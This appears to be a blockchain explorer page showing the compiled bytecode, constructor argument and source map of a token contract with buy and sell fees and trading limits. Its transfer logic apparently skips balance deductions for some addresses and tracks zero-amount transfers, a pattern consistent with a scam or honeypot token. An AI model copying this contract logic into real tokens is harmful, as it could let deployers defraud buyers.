0x60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610308578063a9059cbb14610335578063c2cd7c4d14610355578063dd62ed3e1461036a578063f2fde38b146103a257600080fd5b806370a082311461028e578063715018a6146102bb578063751039fc146102d05780638da5cb5b146102ea57600080fd5b806318160ddd116100dc57806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57806349bd5a5e1461024957806364bfa5461461026e57600080fd5b806306fdde0314610119578063095ea7b31461015e5780630b78f9c01461018e5780631694505e146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269115d995c949bd8dad95d60b21b60208201525b60405161015591906109fe565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004610a68565b6103c2565b6040519015158152602001610155565b34801561019a57600080fd5b506101ae6101a9366004610a92565b61042f565b005b3480156101bc57600080fd5b50600f546101d0906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101f457600080fd5b50670de0b6b3a76400005b604051908152602001610155565b34801561021957600080fd5b5061017e610228366004610ab4565b6104e1565b34801561023957600080fd5b5060405160098152602001610155565b34801561025557600080fd5b50600c546101d09061010090046001600160a01b031681565b34801561027a57600080fd5b506101ae610289366004610af0565b600a55565b34801561029a57600080fd5b506101ff6102a9366004610b09565b60096020526000908152604090205481565b3480156102c757600080fd5b506101ae610625565b3480156102dc57600080fd5b50600c5461017e9060ff1681565b3480156102f657600080fd5b506000546001600160a01b03166101d0565b34801561031457600080fd5b5060408051808201909152600481526301e13f3560e71b6020820152610148565b34801561034157600080fd5b5061017e610350366004610a68565b6106c9565b34801561036157600080fd5b506101ae6106e0565b34801561037657600080fd5b506101ff610385366004610b2b565b600560209081526000928352604080842090915290825290205481565b3480156103ae57600080fd5b506101ae6103bd366004610b09565b610746565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061041d9086815260200190565b60405180910390a35060015b92915050565b600a8211156104855760405162461bcd60e51b815260206004820152601f60248201527f427579206665652063616e6e6f74206265206d6f7265207468616e203130250060448201526064015b60405180910390fd5b600a8111156104d65760405162461bcd60e51b815260206004820181905260248201527f53656c6c206665652063616e6e6f74206265206d6f7265207468616e20313025604482015260640161047c565b600291909155600355565b600080546001600160a01b0385811691161480159061050e57506000546001600160a01b03848116911614155b156105a657600c546001600160a01b03848116610100909204161480156105435750600f546001600160a01b03858116911614155b1561059f576000546001600160a01b0316331461059f57600c5460ff1661059f5760405162461bcd60e51b815260206004820152601060248201526f131a5b5a5d1cc81a5b881959999958dd60821b604482015260640161047c565b600354600e555b6001600160a01b03841660009081526005602090815260408083203384529091529020548211156105d657600080fd5b6001600160a01b038416600090815260056020908152604080832033845290915281208054849290610609908490610b74565b9091555061061a9050848484610860565b506001949350505050565b6000546001600160a01b0316331461067f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106d6338484610860565b5060019392505050565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b600c805460ff19169055565b6000546001600160a01b031633146107a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b6001600160a01b0381166108055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831660009081526008602052604081205481036108ad576001600160a01b038416600090815260096020526040812080548492906108a7908490610b74565b90915550505b816000036108e6576011546001600160a01b038416600090815260076020526040812080549091906108e0908490610b87565b90915550505b600c546001600160a01b03858116610100909204161480159061091f57506001600160a01b038416600090815260086020526040902054155b801561094257506001600160a01b03841660009081526007602052604090205415155b15610978576011546001600160a01b03851660009081526008602052604081208054909190610972908490610b74565b90915550505b6001600160a01b038316600090815260096020526040812080548492906109a0908490610b87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109ec91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b81811015610a2b57858101830151858201604001528201610a0f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a6357600080fd5b919050565b60008060408385031215610a7b57600080fd5b610a8483610a4c565b946020939093013593505050565b60008060408385031215610aa557600080fd5b50508035926020909101359150565b600080600060608486031215610ac957600080fd5b610ad284610a4c565b9250610ae060208501610a4c565b9150604084013590509250925092565b600060208284031215610b0257600080fd5b5035919050565b600060208284031215610b1b57600080fd5b610b2482610a4c565b9392505050565b60008060408385031215610b3e57600080fd5b610b4783610a4c565b9150610b5560208401610a4c565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042957610429610b5e565b8082018082111561042957610429610b5e56fea26469706673582212202b7d63c19f56bcedc7a883601986c5187325890a92b0608c00de2e6d89bd17ab64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005467533bf8b116c870b35d25d056881596b6e1b6

-----Decoded View---------------
Arg [0] : marketing (address): 0x5467533BF8B116C870b35D25d056881596B6E1B6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005467533bf8b116c870b35d25d056881596b6e1b6


Deployed Bytecode Sourcemap

6765:10413:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9241:83;;;;;;;;;;-1:-1:-1;9311:5:0;;;;;;;;;;;;-1:-1:-1;;;9311:5:0;;;;9241:83;;;;;;;:::i;:::-;;;;;;;;9020:213;;;;;;;;;;-1:-1:-1;9020:213:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;9020:213:0;1027:187:1;15356:287:0;;;;;;;;;;-1:-1:-1;15356:287:0;;;;;:::i;:::-;;:::i;:::-;;7835:41;;;;;;;;;;-1:-1:-1;7835:41:0;;;;-1:-1:-1;;;;;7835:41:0;;;;;;-1:-1:-1;;;;;1662:55:1;;;1644:74;;1632:2;1617:18;7835:41:0;1472:252:1;9425:95:0;;;;;;;;;;-1:-1:-1;7557:18:0;9425:95;;;1875:25:1;;;1863:2;1848:18;9425:95:0;1729:177:1;11676:689:0;;;;;;;;;;-1:-1:-1;11676:689:0;;;;;:::i;:::-;;:::i;9528:83::-;;;;;;;;;;-1:-1:-1;9528:83:0;;8008:1;2386:36:1;;2374:2;2359:18;9528:83:0;2244:184:1;7670:28:0;;;;;;;;;;-1:-1:-1;7670:28:0;;;;;;;-1:-1:-1;;;;;7670:28:0;;;9952:97;;;;;;;;;;-1:-1:-1;9952:97:0;;;;;:::i;:::-;10016:17;:25;9952:97;7335:44;;;;;;;;;;-1:-1:-1;7335:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;5463:148;;;;;;;;;;;;;:::i;7632:31::-;;;;;;;;;;-1:-1:-1;7632:31:0;;;;;;;;5249:79;;;;;;;;;;-1:-1:-1;5287:7:0;5314:6;-1:-1:-1;;;;;5314:6:0;5249:79;;9332:87;;;;;;;;;;-1:-1:-1;9404:7:0;;;;;;;;;;;;-1:-1:-1;;;9404:7:0;;;;9332:87;;8846:162;;;;;;;;;;-1:-1:-1;8846:162:0;;;;;:::i;:::-;;:::i;16817:90::-;;;;;;;;;;;;;:::i;7107:64::-;;;;;;;;;;-1:-1:-1;7107:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;5619:244;;;;;;;;;;-1:-1:-1;5619:244:0;;;;;:::i;:::-;;:::i;9020:213::-;9121:10;9086:12;9111:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;9111:30:0;;;;;;;;;;:39;;;9166:37;9086:12;;9111:30;;9166:37;;;;9144:6;1875:25:1;;1863:2;1848:18;;1729:177;9166:37:0;;;;;;;;-1:-1:-1;9221:4:0;9020:213;;;;;:::o;15356:287::-;7464:2;15434:6;:20;;15426:64;;;;-1:-1:-1;;;15426:64:0;;3507:2:1;15426:64:0;;;3489:21:1;3546:2;3526:18;;;3519:30;3585:33;3565:18;;;3558:61;3636:18;;15426:64:0;;;;;;;;;7464:2;15509:7;:21;;15501:66;;;;-1:-1:-1;;;15501:66:0;;3867:2:1;15501:66:0;;;3849:21:1;;;3886:18;;;3879:30;3945:34;3925:18;;;3918:62;3997:18;;15501:66:0;3665:356:1;15501:66:0;15580:12;:21;;;;15612:13;:23;15356:287::o;11676:689::-;11770:12;5314:6;;-1:-1:-1;;;;;11799:22:0;;;5314:6;;11799:22;;;;:46;;-1:-1:-1;5287:7:0;5314:6;-1:-1:-1;;;;;11825:20:0;;;5314:6;;11825:20;;11799:46;11795:366;;;11879:13;;-1:-1:-1;;;;;11866:26:0;;;11879:13;;;;;11866:26;:69;;;;-1:-1:-1;11919:15:0;;-1:-1:-1;;;;;11896:39:0;;;11919:15;;11896:39;;11866:69;11862:250;;;5287:7;5314:6;-1:-1:-1;;;;;5314:6:0;11960:10;11956:141;;;12014:12;;;;12009:88;;12051:26;;-1:-1:-1;;;12051:26:0;;4228:2:1;12051:26:0;;;4210:21:1;4267:2;4247:18;;;4240:30;-1:-1:-1;;;4286:18:1;;;4279:46;4342:18;;12051:26:0;4026:340:1;12009:88:0;12136:13;;12126:7;:23;11795:366;-1:-1:-1;;;;;12191:22:0;;;;;;:9;:22;;;;;;;;12214:10;12191:34;;;;;;;;12181:44;;;12173:53;;;;;;-1:-1:-1;;;;;12237:22:0;;;;;;:9;:22;;;;;;;;12260:10;12237:34;;;;;;;:44;;12275:6;;12237:22;:44;;12275:6;;12237:44;:::i;:::-;;;;-1:-1:-1;12292:43:0;;-1:-1:-1;12304:11:0;12317:9;12328:6;12292:11;:43::i;:::-;-1:-1:-1;12353:4:0;;11676:689;-1:-1:-1;;;;11676:689:0:o;5463:148::-;5376:6;;-1:-1:-1;;;;;5376:6:0;2877:10;5376:22;5368:67;;;;-1:-1:-1;;;5368:67:0;;4838:2:1;5368:67:0;;;4820:21:1;;;4857:18;;;4850:30;4916:34;4896:18;;;4889:62;4968:18;;5368:67:0;4636:356:1;5368:67:0;5570:1:::1;5554:6:::0;;5533:40:::1;::::0;-1:-1:-1;;;;;5554:6:0;;::::1;::::0;5533:40:::1;::::0;5570:1;;5533:40:::1;5601:1;5584:19:::0;;-1:-1:-1;;;;;;5584:19:0::1;::::0;;5463:148::o;8846:162::-;8913:12;8938:40;8950:10;8962:7;8971:6;8938:11;:40::i;:::-;-1:-1:-1;8996:4:0;;8846:162;-1:-1:-1;;;8846:162:0:o;16817:90::-;5376:6;;-1:-1:-1;;;;;5376:6:0;2877:10;5376:22;5368:67;;;;-1:-1:-1;;;5368:67:0;;4838:2:1;5368:67:0;;;4820:21:1;;;4857:18;;;4850:30;4916:34;4896:18;;;4889:62;4968:18;;5368:67:0;4636:356:1;5368:67:0;16879:12:::1;:20:::0;;-1:-1:-1;;16879:20:0::1;::::0;;16817:90::o;5619:244::-;5376:6;;-1:-1:-1;;;;;5376:6:0;2877:10;5376:22;5368:67;;;;-1:-1:-1;;;5368:67:0;;4838:2:1;5368:67:0;;;4820:21:1;;;4857:18;;;4850:30;4916:34;4896:18;;;4889:62;4968:18;;5368:67:0;4636:356:1;5368:67:0;-1:-1:-1;;;;;5708:22:0;::::1;5700:73;;;::::0;-1:-1:-1;;;5700:73:0;;5199:2:1;5700:73:0::1;::::0;::::1;5181:21:1::0;5238:2;5218:18;;;5211:30;5277:34;5257:18;;;5250:62;-1:-1:-1;;;5328:18:1;;;5321:36;5374:19;;5700:73:0::1;4997:402:1::0;5700:73:0::1;5810:6;::::0;;5789:38:::1;::::0;-1:-1:-1;;;;;5789:38:0;;::::1;::::0;5810:6;::::1;::::0;5789:38:::1;::::0;::::1;5838:6;:17:::0;;-1:-1:-1;;;;;;5838:17:0::1;-1:-1:-1::0;;;;;5838:17:0;;;::::1;::::0;;;::::1;::::0;;5619:244::o;13742:583::-;-1:-1:-1;;;;;13865:17:0;;13832:12;13865:17;;;:7;:17;;;;;;:22;;13861:92;;-1:-1:-1;;;;;13908:19:0;;;;;;:9;:19;;;;;:29;;13931:6;;13908:19;:29;;13931:6;;13908:29;:::i;:::-;;;;-1:-1:-1;;13861:92:0;13973:6;13983:1;13973:11;13969:43;;14006:6;;-1:-1:-1;;;;;13986:16:0;;;;;;:6;:16;;;;;:26;;:16;;;:26;;14006:6;;13986:26;:::i;:::-;;;;-1:-1:-1;;13969:43:0;14045:13;;-1:-1:-1;;;;;14033:25:0;;;14045:13;;;;;14033:25;;;;:51;;-1:-1:-1;;;;;;14062:17:0;;;;;;:7;:17;;;;;;:22;14033:51;:75;;;;-1:-1:-1;;;;;;14088:16:0;;14107:1;14088:16;;;:6;:16;;;;;;:20;;14033:75;14029:143;;;14150:6;;-1:-1:-1;;;;;14129:17:0;;;;;;:7;:17;;;;;:27;;:17;;;:27;;14150:6;;14129:27;:::i;:::-;;;;-1:-1:-1;;14029:143:0;-1:-1:-1;;;;;14202:19:0;;;;;;:9;:19;;;;;:29;;14225:6;;14202:19;:29;;14225:6;;14202:29;:::i;:::-;;;;;;;;14270:8;-1:-1:-1;;;;;14251:36:0;14260:8;-1:-1:-1;;;;;14251:36:0;;14280:6;14251:36;;;;1875:25:1;;1863:2;1848:18;;1729:177;14251:36:0;;;;;;;;-1:-1:-1;14309:4:0;13742:583;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1219:248::-;1287:6;1295;1348:2;1336:9;1327:7;1323:23;1319:32;1316:52;;;1364:1;1361;1354:12;1316:52;-1:-1:-1;;1387:23:1;;;1457:2;1442:18;;;1429:32;;-1:-1:-1;1219:248:1:o;1911:328::-;1988:6;1996;2004;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;2096:29;2115:9;2096:29;:::i;:::-;2086:39;;2144:38;2178:2;2167:9;2163:18;2144:38;:::i;:::-;2134:48;;2229:2;2218:9;2214:18;2201:32;2191:42;;1911:328;;;;;:::o;2664:180::-;2723:6;2776:2;2764:9;2755:7;2751:23;2747:32;2744:52;;;2792:1;2789;2782:12;2744:52;-1:-1:-1;2815:23:1;;2664:180;-1:-1:-1;2664:180:1:o;2849:186::-;2908:6;2961:2;2949:9;2940:7;2936:23;2932:32;2929:52;;;2977:1;2974;2967:12;2929:52;3000:29;3019:9;3000:29;:::i;:::-;2990:39;2849:186;-1:-1:-1;;;2849:186:1:o;3040:260::-;3108:6;3116;3169:2;3157:9;3148:7;3144:23;3140:32;3137:52;;;3185:1;3182;3175:12;3137:52;3208:29;3227:9;3208:29;:::i;:::-;3198:39;;3256:38;3290:2;3279:9;3275:18;3256:38;:::i;:::-;3246:48;;3040:260;;;;;:::o;4371:127::-;4432:10;4427:3;4423:20;4420:1;4413:31;4463:4;4460:1;4453:15;4487:4;4484:1;4477:15;4503:128;4570:9;;;4591:11;;;4588:37;;;4605:18;;:::i;5404:125::-;5469:9;;;5490:10;;;5487:36;;;5503:18;;:::i

Swarm Source

ipfs://2b7d63c19f56bcedc7a883601986c5187325890a92b0608c00de2e6d89bd17ab
Loading
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.